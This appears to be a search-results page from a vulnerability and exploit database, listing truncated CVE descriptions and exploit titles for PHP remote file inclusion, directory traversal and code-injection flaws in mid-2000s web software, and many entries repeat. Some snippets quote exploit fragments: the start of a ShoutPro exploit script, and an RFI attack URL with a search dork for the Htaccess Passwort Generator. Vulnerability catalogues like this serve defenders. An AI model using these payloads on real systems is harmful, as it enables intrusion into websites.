1233 matches found
Remote file inclusion
PHP remote file inclusion vulnerability in saf/lib/PEAR/PhpDocumentor/Documentation/tests/bug-559668.php in Sitellite CMS 4.2.12 and earlier might allow remote attackers to execute arbitrary PHP code via a URL in the FORUMLIB parameter. NOTE: by default, access to the PhpDocumentor directory tree...
Directory traversal
Directory traversal vulnerability in Advanced Guestbook 2.4.2 allows remote attackers to bypass .htaccess settings, and execute arbitrary PHP local files or read arbitrary local templates, via a .. dot dot in a lang cookie, followed by a filename without its .php extension, as demonstrated via a...
CVE-2007-0609
Directory traversal vulnerability in Advanced Guestbook 2.4.2 allows remote attackers to bypass .htaccess settings, and execute arbitrary PHP local files or read arbitrary local templates, via a .. dot dot in a lang cookie, followed by a filename without its .php extension, as demonstrated via a...
CVE-2007-0609
Directory traversal vulnerability in Advanced Guestbook 2.4.2 allows remote attackers to bypass .htaccess settings, and execute arbitrary PHP local files or read arbitrary local templates, via a .. dot dot in a lang cookie, followed by a filename without its .php extension, as demonstrated via a...
shoutpro-pwn.txt
?php echo "\n"; echo " Special Greetings To - Timq,Warpboy,The-Maggot \n"; echo "\n\n\n"; //Writes Files - Under 100 bytes to meet requireme...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in CNStats 2.12, when registerglobals is enabled and .htaccess is not recognized, allow remote attackers to execute arbitrary PHP code via a URL in the bn parameter to 1 whor.php or 2 whos.php in reports/. NOTE: the provenance of this information...
ShoutPro 1.5.2 - shout.php Remote Code Injection
ShoutPro 1.5.2 - shout.php Remote Code Injection ?php echo "\n"; echo " Special Greetings To - Timq,Warpboy,The-Maggot \n"; echo "\n\n\n"; //Writes Files - Under 100 bytes to meet requirements $temppayload = "...
ShoutPro <= 1.5.2 (shout.php) Remote Code Injection Exploit
Exploit for unknown platform in category web applications =========================================================== ShoutPro ?php echo "...
CVE-2007-1013
PHP remote file inclusion vulnerability in generate.php in VirtualSystem Htaccess Passwort Generator 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the htpfad parameter...
Remote file inclusion
PHP remote file inclusion vulnerability in generate.php in VirtualSystem Htaccess Passwort Generator 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the htpfad parameter...
CVE-2007-1013
PHP remote file inclusion vulnerability in generate.php in VirtualSystem Htaccess Passwort Generator 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the htpfad parameter...
CVE-2007-1013
CVE-2007-1013 is a PHP remote file inclusion vulnerability affecting the VirtualSystem Htaccess Passwort Generator 1.1. The flaw resides in generate.php where an attacker can supply a URL in the ht_pfad parameter to cause arbitrary PHP code execution on the affected system. The vulnerability desc...
Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability
HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit http://target/path/generate.php?htpfad=3vil script? I am a Turk...
Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability
No description provided by source. HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit...
Htaccess Passwort Generator 1.1 (ht_pfad) RFI Vulnerability
Exploit for unknown platform in category web applications =========================================================== Htaccess Passwort Generator 1.1 htpfad RFI Vulnerability =========================================================== HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovere...
Htaccess Passwort Generator 1.1 - ht_pfad Remote File Inclusion
Htaccess Passwort Generator 1.1 - htpfad Remote File Inclusion HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit...
Htaccess Passwort Generator 1.1 - 'ht_pfad' Remote File Inclusion
HtaccessgenV1.1.1C Htaccess Passwort Generator V.1.1 Discovered By:- kezzap66345 Download:http://www.virtualsystem.de/downloads/index.php?mekat=PHPScripte&seite=2 dork:htgen.php code: include $htpfad."/tpl/ok.html"; exploit http://target/path/generate.php?htpfad=3vil script? I am a Turk...
CVE-2007-0792
The modperl initialization script in Bugzilla 2.23.3 does not set the Bugzilla Apache configuration to allow .htaccess permissions to override file permissions, which allows remote attackers to obtain the database username and password via a direct request for the localconfig file...
CVE-2006-6511
dadaIMC .99.3 uses an insufficiently restrictive FilesMatch directive in the installed .htaccess file, which allows remote attackers to execute arbitrary PHP code by uploading files whose names contain 1 feature, 2 editor, 3 newswire, 4 otherpress, 5 admin, 6 pbook, 7 media, or 8 mod, which are...
CVE-2006-6511
The CVE-2006-6511 entry concerns the product dadaIMC .99.3, where an insufficiently restrictive FilesMatch directive in the installed .htaccess allows remote attackers to execute arbitrary PHP code. Specifically, uploaded files whose names contain any of the words: feature, editor, newswire, othe...